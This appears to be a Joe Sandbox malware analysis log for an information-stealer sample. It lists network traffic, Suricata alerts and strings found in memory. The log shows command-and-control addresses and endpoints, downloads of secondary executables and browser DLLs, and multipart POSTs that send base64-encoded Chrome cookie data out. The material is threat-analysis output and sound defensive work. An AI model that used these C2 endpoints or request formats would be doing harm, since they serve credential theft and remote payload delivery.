------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="token"8c4b899634bd74db917f1ec3a9d1d9f377d061e997a7cac4be27adde77b6f1e82f2e2fd2------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="message"fplugins------GHDHJEBFBFHJECAKFCAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIJJKKFHIEHJKECGCGCHost: 185.215.113.206Content-Length: 7267Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJKHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 63 34 62 38 39 39 36 33 34 62 64 37 34 64 62 39 31 37 66 31 65 63 33 61 39 64 31 64 39 66 33 37 37 64 30 36 31 65 39 39 37 61 37 63 61 63 34 62 65 32 37 61 64 64 65 37 37 62 36 66 31 65 38 32 66 32 65 32 66 64 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"8c4b899634bd74db917f1ec3a9d1d9f377d061e997a7cac4be27adde77b6f1e82f2e2fd2------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EGCBAFCFIJJJECBGIIJK--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49716 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49720 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49726 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49737 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49750 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49757 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49768 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49774 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49812 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49908 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49951 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Code function: 13_2_6C99CC60 PR_Recv,

13_2_6C99CC60

Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239317300918_15BUPXQMJSKX4T12A&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381881832_16Z99FCNYK3WFB5MY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239317301351_1SVL46QI5QTJ6JJDI&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381881833_1L2KODT1PKU230D6J&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239356671167_19HPP7IIREEX4KA57&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239356671168_16FGHU1WN2XYJHSC0&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sweepyribs.lat

Source: V65xPrgEHH.exe, V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459509847.0000000001181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459509847.0000000001181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/#6
Source: V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459509847.0000000001181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/E6
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeK
Source: V65xPrgEHH.exe, V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459509847.0000000001181000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459047018.0000000001125000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: V65xPrgEHH.exe, V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: V65xPrgEHH.exe, 00000000.00000003.2459047018.000000000111A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe-y
Source: V65xPrgEHH.exe, 00000000.00000003.2459047018.000000000111A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeXy
Source: V65xPrgEHH.exe, 00000000.00000003.2459047018.0000000001125000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exesD$)
Source: V65xPrgEHH.exe	String found in binary or memory: http://185.215.113.16:80/steam/random.exe
Source: V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459509847.0000000001181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exe117-2476756634-1003
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.0000000000897000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllL)
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllh)
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/R
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3134062438.000000000BE80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php%-j
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3134062438.000000000BE80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php)
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpm
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.0000000000897000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phprefox
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/w
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206a&AX:
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.0000000000897000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpcac4be27adde77b6f1e82f2e2fd2lt-release
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp, nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp, nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://ocsp.digicert.com0A
